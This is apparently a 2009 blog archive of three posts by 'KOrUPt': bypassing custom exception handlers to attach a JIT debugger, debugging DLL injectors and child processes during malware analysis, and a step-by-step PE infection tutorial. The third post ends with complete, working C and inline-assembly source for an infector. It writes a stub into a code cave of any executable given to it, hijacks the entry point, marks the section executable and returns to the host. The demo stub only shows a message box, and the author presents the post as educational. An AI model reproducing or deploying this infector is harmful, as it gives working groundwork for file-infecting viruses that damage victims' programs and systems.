Archive for the ‘Tips and Tricks’ Category

Bypassing custom exception handlers

Thursday, January 15th, 2009

There are quite a few reasons as to why we may need to restore the default Structured Exception Handler(which resides within Kernel32). Such a need arises when we may want to stall a foreign process via using an INT3(Breakpoint) instruction so we can attach to the process with our JIT debugger… For more information regarding that subject, see my article here:

If a custom exception handler is in place the default Windows Error Reporting dialog will not be triggered and we wont have the chance to attach to our process using the JIT debugger… This is not what we want.

So, how do we go about restoring the default exception handler?

The default exception handler is always the last handler within the exception chain. A custom exception handler is set up like follows:

push NewHandler  ; address of our new exception handler
mov  eax, FS:[0] ;
push eax         ; address of previous exception handler
mov  FS:[0], ESP ; write the new handler

Assuming this is the first custom exception handler within our chain, the previous handler is in fact the default Kernel32 exception handler. We’ll need the address of this handler should we want to restore it. Note that the address of this handler is version specific.

if we check [EAX + 4] in OllyDbg’s dump window we’ll see the following:

0012FFE0 A8 9A 83 7C

Intel’s x86 architecture uses little endian, so we end up with an address of:

  • 0×7C839AA8

This is the address of our default exception handler. So how do we go about overwriting the custom exception handler?

This task is rather trivial, the following code can do this for us:

mov  eax, fs:[0]
mov  [eax + 4], 0x7C839AA8
int 3 ; throw that exception!

No longer do we have to worry about custom exception handlers wreaking havoc.

It’s worth pointing out that there are various other methods we can use to stall a process, polymorphic breakpoints and the typical JMP -2 tactics are often useful should for some reason a typical INT 3 instruction turn out to be sub-standard.

We’ll, as always I look forward to reading your comments and such. I hope you enjoyed the read.

KOrUPt.

Debugging child processes and injectors

Wednesday, January 14th, 2009

A question I get asked quite often is how to go about debugging a child process or a DLL injector. For a Malware analyst knowing these techniques has become a necessity, given most common day Malware uses the aforementioned methods to aid in achieving their goal and sometimes static analysis just isn’t good enough.

For those curios as to what a DLL file is, I shall refer you to the article on Wikipedia:

  • http://en.wikipedia.org/wiki/Dynamic-link_library

I’m sure at least a few readers have come across Malware that has utilized DLL injection in one way or another, but for those who haven’t, I’ll briefly cover some of the various reasons Malware may use these nefarious techniques… Some use the technique in an attempt to bypass firewalls by executing their own code from within a trusted process and others attempt to subvert certain applications that may be used to detect their presence… The list goes on.

Injecting a DLL into a foreign process has become a rather trivial task these days, even more so given the amount of code laying around the internet.

Most commonly you’ll see an injector using the CreateRemoteThread() API, but it’s worth pointing out that there are some less known methods, such as using the undocumented NtQueueApcThread() routine.

In order for a DLL injector to do its work, it has to know whereabouts the target DLL file is located on the system. You can usually find the path to this DLL by setting a breakpoint on the WriteProcessMemory() API, as this API is typically used to write the location of the DLL into the foreign process’s memory.

IDA is mostly used for static analysis and given we’ll be debugging, I’ll be using OllyDbg, of course you can still use your preferred debugger(WinDbg for instance).

Once we have the path of our DLL, we can open it inside our debugger, you’ll typically see the CRT initialization routines, disassembly of a DLL compiled within MSVC6 using optimizations would look similar to this(main routine):

PUSH    EBP
MOV     EBP, ESP
CMP     [ARG.2], 1
JNZ L011
PUSH    0
PUSH    0
PUSH    0
PUSH    DLL.003F105E
PUSH    0
PUSH    0
CALL CreateThread
L011:
MOV     EAX, 1
POP     EBP
RETN    0C

A new thread is created so the process that has been injected with the DLL doesn’t hang. The first comparison is checking the 2nd parameter of DLLMain() is DLL_PROCESS_ATTACH, which is defined as 1.

Upon checking the threads code, we see the following:

PUSH    EBP
MOV     EBP, ESP
SUB     ESP, 0C
PUSH    DLL.003F505C
PUSH    0
CALL FindWindowA
MOV     [LOCAL.1], EAX
MOV     EAX, [LOCAL.1]
PUSH    EAX
CALL GetMenu
MOV     [LOCAL.2], EAX
CALL CreateMenu
MOV     [LOCAL.3], EAX
PUSH    DLL.003F5070
MOV     ECX, [LOCAL.3]
PUSH    ECX
PUSH    10
MOV     EDX, [LOCAL.2]
PUSH    EDX
CALL AppendMenuA
...

Basically, the DLL is obtaining a handle the process’s window and adding a menu, along with subclassing the window procedure(not visible in the above code). The DLL was injected using the traditional CreateRemoteThread() API.

The Just-In-Time debugger comes in handy here, I’ve configured my JIT debugger to be OllyDbg(which can be done via the options menu of OllyDbg), the idea is to cause the injected process to crash, then attach to the process using the JIT debugger.

We can cause the injected process to crash by throwing an exception, we can cause an exception to be thrown simply by overwriting the function prolog/epilog with an INT3(breakpoint) instruction. For those who don’t know what I mean by prolog, I’m referring to the instructions that set up the functions local stack, those being:

PUSH    EBP
MOV     EBP, ESP
SUB     ESP, 0C

We can overwrite the PUSH EBP instruction with an INT3 instruction and restore the overwritten bytes once attached to the process.

Overwrite the instruction, save the changes and run the DLL injector/Sample, once the DLL has been injected, the target process will hopefully crash and the MS Error Reporting dialog will appear, upon clicking clicking the “Debug” button OllyDbg will launch and attach to the process.

If you’re not currently paused at the INT3 instruction press Alt + F9(pass exception) until you reach it. We can then restore the original instruction, that being “PUSH EBP” and step through the code as normal.

I feel the need to point out that the above steps should only be used within a controlled environment, as some Malware sample’s can be crafty…

For instance, a custom SEH(Structured Exception Handler) may be setup to catch exceptions which means the MS Error Reporting dialog will not appear and the process may execute a fall back routine. We can circumvent custom SEH but I’ll be saving that for another article. For those eager, it mainly involves overwriting the current exception handler with the one used within kernel32.

We can use the same technique described above to debug child process’s.

For Linux users, GDB offers a few useful functionalities to follow child process’s, it can be configured to follow fork()’s and such by issuing the following commands:

  • set follow-fork-mode child
  • set detach-on-fork     on

It can be useful to follow a child process sometimes, as most of the time a certain possibly important routine is only carried out inside the child process.

As for debugging sample’s that use DCI(Direct Code Injection), we can again breakpoint the WriteProcessMemory() API and modify the buffer of instructions that is being written into the target process so it contains an INT3 instruction, after which we can proceed as mentioned previously…

And on that note, I think that just about covers this article.

I look forward to reading any questions and or comments you may have. Let me know of any experiences you have have had whilst debugging such Malware sample’s.

I hope you enjoyed the read.

KOrUPt.

PE Infection

Tuesday, December 23rd, 2008

Portable Executable file infection is a subject I always found to be sketchy. There was always a piece of the puzzle missing in my case… In this article I hope to clarify the matter and hopefully provide a good starting point for those wanting to learn how such tools work.

I want to mention that I’m writing this article with an intention of educating others. You may start out with PE infection, but eventually I hope that you’ll move onto authoring PE protection tools and exploiting your newly found knowledge in a positive and ethical manner. A lot can be learned during the development and implementation process of such tools.

I’ll mainly be using C and inline Assembler in this article and I’ll assume you’ve at least a working knowledge of both C and Assembler.

Firstly, what is a PE file? You can find out by skimming through this page:

Secondly, what is PE infection?

In my opinion PE infection is simply a method of inserting arbitrary (malicious) code into a compiled portable executable whilst maintaining the executable’s normal functionality(it still appears to execute as if it had not been tampered with).

Of course to infect a PE file we’ll need to know about the PE file format, various documents exist on this subject, I recommend you take a look at the following before you continue reading this article.

A typical PE file’s layout looks like this:

[MZ Header]

[MZ Signature]

[PE Headers]

[PE Signature]

[IMAGE_FILE_HEADER][IMAGE_OPTIONAL_HEADER]

[Section Table]

[Section 1][Section 2][Section n]

I’ve neglected the DOS header above but it shouldn’t matter too much, my goal is not to teach you the inner workings of the PE file format.

Inside the IMAGE_OPTIONAL_HEADER we’ve pointers to various data directories, these directories usually point to Import and Relocation table’s amongst other things that are contained in certain sections of the PE, we must preserve or rebuild these directories ourself should we want to destroy them… Such a case is if you encrypt a section that contains the contents of one the directories.

The basic idea behind PE infection is to first insert our code into slack space, modify the original entrypoint address to point to our code, execute it, then jump back to the host’s original entrypoint so the PE file executes as if our code didn’t exist.

Pseudo code would be similar to this:

  • Open target file
  • Verify MZ and PE signatures exist
  • Search for a specified length of NULL bytes starting from the beginning of the last section on disk
  • Write our stub into the newly located slack space
  • Modify our current entrypoint to point to the start of our newly inserted code
  • Close target file

Now I’d like to point out that Stub construction can usually be the harder part of PE infection, as you’ll find out shortly.

For now let’s begin with an implementation of our above Pseudo code…

We need to open the file and map it(this makes for easier modifications), I’m not going to explain what each API does as MSDN can do that for you.

The following snippet does this for us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
HANDLE hFile, hFileMap;
LPBYTE hMap;
DWORD fsize;
 
hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE){
	printf("[-] Cannot open %s\n", argv[1]);
	return 0;
}
 
fsize = GetFileSize(hFile, 0);
if(!fsize){
	printf("[-] Invalid file size\n");
	CloseHandle(hFile);
	return 0;
}
 
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
if(!hFileMap){
	printf("[-] CreateFileMapping failed\n");
	CloseHandle(hFile);
	return 0;
}
 
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
if(!hMap){
	printf("[-] MapViewOfFile failed\n");
	CloseHandle(hFileMap);
	CloseHandle(hFile);
	return 0;
}

Now we’ve a valid handle to our file we can begin by checking our MZ and PE signatures exist, Windows has pre built structures that make our job easier, they are as follows: 

1
2
3
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_SECTION_HEADER pSection, pSectionHeader;

We can fill these in and check our signatures like so:

1
2
3
4
5
6
7
8
9
10
11
pDosHeader = (PIMAGE_DOS_HEADER)hMap;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
	printf("[-] DOS signature not found\n");
	goto cleanup;
}
 
pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
	printf("[-] NT signature not found\n");
	goto cleanup;
}

Ok so what’s left? Ah yes, we need to find some free space to write our stub code into, to do this we’ll need to walk the section table and locate the last section, then search for a few NULL bytes starting from the offset of the last section… Luckilly this is easier than it sounds. If we fail to find a sufficent amount of NULL bytes then we’ll need to expand the last section’s size so our code will fit in, I’ll go over this shortly.

The following code does this for us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
pSection = pSectionHeader;
pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
 
DWORD writeOffset;
unsigned int i = pSection->PointerToRawData;
int charcounter = 0;
 
for(; i != fsize; i++){
	if((char *)hMap[i] == 0x00){
		if(charcounter++ == stubLength){
			printf("[+] Code cave located @ 0x%08lX\n", i);
			writeOffset = i;
		}
	}else charcounter = 0;
}
 
if(charcounter == 0 || writeOffset == 0){
	printf("[-] Could not locate a big enough code cave\n");
	goto cleanup;
}
 
writeOffset -= stubLength;

Once we’ve found some free space and got an offset on disk to it, we can write our stub there.

What Stub I hear you ask? …And this is where I start the chapter about Stub Construction.

Firstly, what is an (infection) Stub? To me a Stub is basically a small chunk of code that executes before the hosts code, basically our infection code.

Our stub will be written in inline Assembler, you can use nasm if you like, but for simplicity I’m going to do it this way.

You should ask yourself what you need your stub to do before you go about coding it, in my case I simply want to display a message box to the user, whilst this defeats the point of stealth I’m only trying to demonstrate a concept, so this will suffice for now.

In order to call API’s we’ll need to either:

  1. Use fixed address’s
  2. Walk kernel32’s export and resolve GetProcAddress() and GetModuleHandleA()

For simplicity, I’ve opted for option 1, I’ll leave an implementation of option 2 open as an exercise for a few days.

I’d like to point out that I’m using MS’s compiler and MSV6 at the moment, should you have compilation errors(I’d imagine you will with GCC).

Currently our stub looks like this(see below), I’ve commented the code to save a few words. This code doesn’t really do anything as of yet, it’s just the needed code.

1
2
3
4
5
6
7
8
9
10
11
12
13
__declspec(naked) void StubStart()
{
	__asm{
		pushad	// preserve our thread context
		call GetBasePointer
		GetBasePointer:	
		pop ebp
		sub ebp, offset GetBasePointer // delta offset trick. Think relative...
		popad	// restore our thread context
		push 0xCCCCCCCC	// push address of orignal entrypoint(place holder)
		retn	// retn used as jmp
	}
}

Now we can expand this code to call MessageBoxA() with our desired text. I’ll be using fixed address’s that may change on different OS’s so keep that in mind should you want your code to be portable… I’m using Windows XP SP2 at the moment.

Our Stub now looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#define bb(x) __asm _emit x
 
__declspec(naked) void StubStart()
{
	__asm{
		pushad	// preserve our thread context
		call GetBasePointer
		GetBasePointer:	
		pop ebp
		sub ebp, offset GetBasePointer // delta offset trick. Think relative...
 
		push MB_OK
		lea  eax, [ebp+szTitle]
		push eax
		lea  eax, [ebp+szText]
		push eax
		push 0
		mov  eax, 0xCCCCCCCC	// place holder for address of MessageBox
		call eax
 
		popad	// restore our thread context
		push 0xCCCCCCCC	// push address of orignal entrypoint(place holder)
		retn	// retn used as jmp
 
		szText:
			bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d')
			bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0)        
		szTitle:
			bb('O') bb('h') bb('a') bb('i') bb(0)
 
	}
}
void StubEnd(){}

Ok so now we’ve got our infection Stub, how do we write it into our PE file? This isn’t terribly difficult, just a simple call to memcpy() will suffice… but first we need to fill in those place holders scattered around our Stub. This will involve:

  1. Copying our inline assembler code into a buffer
  2. Locating the start of our place holder in the buffer
  3. Overwriting that place holder

Simple enough ‘ay… If you’re like me you may be able to understand code better than descriptions, not long to go now.

Now do you know what data we have to fill those place holders with? The first place holder needs to contain the virtual address of MessageBoxA, the second needs to contain the Original Entrypoint’s address in memory.

We can obtain the address of MessageBoxA like so:

1
2
3
4
5
6
7
hUser32 = LoadLibrary("User32.dll");
if(!hUser32){
	printf("[-] Could not load User32.dll");
	return 0;
}
 
dwAddress = (DWORD)GetProcAddress(hUser32, "MessageBoxA");

Remember those PE structures I asked you to read up about earlier? If you did your homework you’ll know the entrypoint on disk is stored in the IMAGE_OPTIONAL_HEADER structure, which can be found in the IMAGE_NT_HEADERS structure.

We need to store our original entrypoint so our stub can return to it later… This can be done like so:

1
2
3
DWORD oep, oepRva;
oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);

I can imagine you’re becoming tired now, I am… But we’re nearly there, there’s no point in my stopping now, only a few more bases to cover, I’ll contiue telling myself that too :p.

We now need to put our inline assembly code into a buffer, but first we need our Stub codes size, notice that "void StubEnd(){}" at the end of our Stub? This label exists so we can calculate our Stubs size without problems.

Allow me to enlighten you:

1
2
3
4
// work out stub size
DWORD start	 = (DWORD)StubStart;
DWORD end 	 = (DWORD)StubEnd;
DWORD stubLength = (end - start);

Once we’ve got the size, we can use memcpy() on our function as if it were a normal buffer. Like so:

1
2
3
4
5
stub = (unsigned char *)malloc(stubLength + 1);
if(!stub)
	goto cleanup;
 
memcpy(stub, StubStart, stubLength);

Now to actually locate and fill in our place holders, this part is easier than you may think and in my opinion the code should do a better job explaining it than I will at the moment(as it’s now gone 5am)…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// locate place holder offsets
for(i = 0, charcounter = 0; i != stubLength; i++){
	if(stub[i] == 0xCC){
		charcounter++;
		if(charcounter == 4 && callOffset == 0) callOffset = i - 3;
		else if(charcounter == 4 && oepOffset == 0) oepOffset = i - 3;
	}else charcounter = 0;
}
 
// check we've found them
if(oepOffset == 0 || callOffset == 0){
	free(stub);
	goto cleanup;
}
 
// fill in place holders
*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
 
// we no longer need this
FreeLibrary(hUser32);

We can now write our Stub into the free space we located earlier using memcpy() like so:

1
memcpy((PBYTE)hMap + writeOffset, stub, stubLength);

Now we need to repair our PE images section sizes and such, in this case I’m just going to increase the virtual size of the section we’ve modified(you may need to round it up to correct page alignment, I’ve decided to keep it simple in this case so I’m simply going to increase the size). I want to point out that this is usually not the only thing you may need to repair when dealing with some executable’s, things like raw size of sections and size of image may also need to repaired in some cases.

We can increase the section size like so:

1
2
// set section size
pSection->Misc.VirtualSize += stubLength;

Now we need to update the original entrypoint to point to our new code, we also need to make our new code section executable, this can be done like so:

1
2
3
4
5
pNtHeaders->OptionalHeader.AddressOfEntryPoint = 
		FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
 
// change sections permission flags so we can execute code
pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;

What happens if our executable has no slack space for our code to fit in? We can overcome this by mapping the file with a file size big enough to contain itself and our Stub, this will write the extra bytes into the file, after which we can use something like "writeOffset = dwNewFileSize + 4;". Here’s some code for those who don’t understand:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize + stubLength + 5, NULL);
if(!hFileMap){
	printf("[-] CreateFileMapping failed\n");
	CloseHandle(hFile);
	return 0;
}
 
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize + stubLength + 5);
if(!hMap){
	printf("[-] MapViewOfFile failed\n");
	CloseHandle(hFileMap);
	CloseHandle(hFile);
	return 0;
}
 
writeOffset = fsize;

Hopefully that helps clear things up a little.

What’s left? That was it! Cleaning up after ourselves.

This is probabbly the simplest part of all:

1
2
3
4
5
6
7
8
9
10
11
free(stub);
 
cleanup:
FlushViewOfFile(hMap, 0);
UnmapViewOfFile(hMap);
 
SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
SetEndOfFile(hFile);
CloseHandle(hFileMap);
CloseHandle(hFile);
return 0;

Finally, I’m not one to leave you hanging, below is the source code of our newly created PE infecter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
// PE Infecter by KOrUPt @ KOrUPt.co.uk
#include <windows.h>
#include <stdio.h>
 
#define bb(x) __asm _emit x
 
__declspec(naked) void StubStart()
{
	__asm{
		pushad	// preserve our thread context
		call GetBasePointer
		GetBasePointer:	
		pop ebp
		sub ebp, offset GetBasePointer // delta offset trick. Think relative...
 
		push MB_OK
		lea  eax, [ebp+szTitle]
		push eax
		lea  eax, [ebp+szText]
		push eax
		push 0
		mov  eax, 0xCCCCCCCC
		call eax
 
		popad	// restore our thread context
		push 0xCCCCCCCC	// push address of orignal entrypoint(place holder)
		retn	// retn used as jmp
 
		szText:
			bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d')
			bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0)        
		szTitle:
			bb('O') bb('h') bb('a') bb('i') bb(0)
 
	}
}
void StubEnd(){}
 
// By Napalm
DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders)
{
    PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
    for(WORD wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++){
        if(dwFileAddr >= lpSecHdr->PointerToRawData){
            if(dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData)){
                dwFileAddr -= lpSecHdr->PointerToRawData;
                dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress);
                return dwFileAddr; 
            }
        }
 
		lpSecHdr++;
    }
 
    return NULL;
}
 
int main(int argc, char* argv[]) 
{    
    PIMAGE_DOS_HEADER pDosHeader;
    PIMAGE_NT_HEADERS pNtHeaders;
    PIMAGE_SECTION_HEADER pSection, pSectionHeader;
	HANDLE hFile, hFileMap;
    HMODULE hUser32;
	LPBYTE hMap;
 
    int i = 0, charcounter = 0;
    DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0;
    unsigned char *stub;
 
	// work out stub size
	DWORD start	 = (DWORD)StubStart;
	DWORD end 	 = (DWORD)StubEnd;
	DWORD stubLength = (end - start);
 
    if(argc != 2){
        printf("Usage: %s [file]\n", argv[0]);
        return 0;
    }
 
	// map file
    hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE){
        printf("[-] Cannot open %s\n", argv[1]);
        return 0;
    }
 
	fsize = GetFileSize(hFile, 0);
	if(!fsize){
		printf("[-] Could not get files size\n");
		CloseHandle(hFile);
		return 0;
	}
 
    hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
    if(!hFileMap){
        printf("[-] CreateFileMapping failed\n");
        CloseHandle(hFile);
        return 0;
    }
 
    hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
    if(!hMap){
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(hFileMap);
        CloseHandle(hFile);
        return 0;
    }
 
	// check signatures
    pDosHeader = (PIMAGE_DOS_HEADER)hMap;
    if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
        printf("[-] DOS signature not found\n");
        goto cleanup;
    }
 
    pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
    if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
        printf("[-] NT signature not found\n");
        goto cleanup;
    }
 
    // get last section's header...
    pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    pSection = pSectionHeader;
	pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
 
	// save entrypoint
	oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);
 
	// locate free space
	i = pSection->PointerToRawData;
	for(; i != fsize; i++){
		if((char *)hMap[i] == 0x00){
			if(charcounter++ == stubLength + 24){
				printf("[+] Code cave located @ 0x%08lX\n", i);
				writeOffset = i;
			}
		}else charcounter = 0;
	}
 
    if(charcounter == 0 || writeOffset == 0){
        printf("[-] Could not locate a big enough code cave\n");
        goto cleanup;
    }
 
	writeOffset -= stubLength;
 
    stub = (unsigned char *)malloc(stubLength + 1);
    if(!stub){
        printf("[-] Error allocating sufficent memory for code\n");
		goto cleanup;
    }
 
	// copy stub into a buffer
	memcpy(stub, StubStart, stubLength);
 
	// locate offsets of place holders in code
	for(i = 0, charcounter = 0; i != stubLength; i++){
        if(stub[i] == 0xCC){
            charcounter++;
			if(charcounter == 4 && callOffset == 0)
				callOffset = i - 3;
			else if(charcounter == 4 && oepOffset == 0)
				oepOffset = i - 3;
		}else charcounter = 0;
	}
 
	// check they're valid
	if(oepOffset == 0 || callOffset == 0){
		free(stub);
		goto cleanup;
	}
 
	hUser32 = LoadLibrary("User32.dll");
	if(!hUser32){
		free(stub);
		printf("[-] Could not load User32.dll");
		goto cleanup;
	}
 
	// fill in place holders
	*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
	*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
	FreeLibrary(hUser32);
 
	// write stub
	memcpy((PBYTE)hMap + writeOffset, stub, stubLength);
 
	// set entrypoint
	pNtHeaders->OptionalHeader.AddressOfEntryPoint = 
		FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
 
	// set section size
	pSection->Misc.VirtualSize += stubLength;
	pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
 
	// cleanup
	printf("[+] Stub written!!\n[*] Cleaning up\n");
	free(stub);
 
	cleanup:
	FlushViewOfFile(hMap, 0);
    UnmapViewOfFile(hMap);
 
    SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
    SetEndOfFile(hFile);
    CloseHandle(hFileMap);
    CloseHandle(hFile);
    return 0;
}

 

And I think that just about covers this blog post for now… I hope you enjoyed reading it. I look forward to reading your comments and reviews on this topic.

 

KOrUPt.